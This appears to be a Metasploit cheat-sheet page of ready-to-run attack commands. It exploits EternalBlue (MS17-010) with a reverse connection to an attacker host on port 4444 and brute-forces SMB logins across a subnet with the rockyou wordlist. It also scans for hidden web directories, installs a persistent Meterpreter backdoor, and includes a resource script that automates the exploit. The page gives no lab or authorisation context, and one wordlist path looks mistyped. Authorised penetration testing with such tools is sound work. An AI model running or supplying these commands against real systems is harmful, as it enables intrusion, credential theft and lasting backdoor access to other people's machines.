Metasploit Examples

Usage Examples

Real-world Metasploit commands for common exploitation scenarios.

EternalBlue Exploit

Exploit MS17-010 on Windows 7/2008.

bash
1use exploit/windows/smb/ms17_010_eternalblue
2set RHOSTS 192.168.1.100
3set LHOST 10.0.0.1
4set LPORT 4444
5exploit

SMB Login Scanner

Check for valid SMB credentials.

bash
1use auxiliary/scanner/smb/smb_login
2set RHOSTS 192.168.1.0/24
3set USERNAME admin
4set PASS_FILE /usr/share/wordlists/rockyou.txt.txt
5run

HTTP Directory Scanner

Find hidden directories on web servers.

bash
1use auxiliary/scanner/http/dir_scanner
2set RHOSTS 192.168.1.100
3set PATH /
4run

Meterpreter Persistence

Install a persistent backdoor.

bash
1run post/windows/manage/persistence
2set SESSION 1
3set LHOST 10.0.0.1
4set LPORT 4444
5run

Resource Script

Save commands to automate exploitation.

bash
1# save as exploit.rc
2use exploit/windows/smb/ms17_010_eternalblue
3set RHOSTS 192.168.1.100
4set LHOST 10.0.0.1
5exploit

Run with: msfconsole -r exploit.rc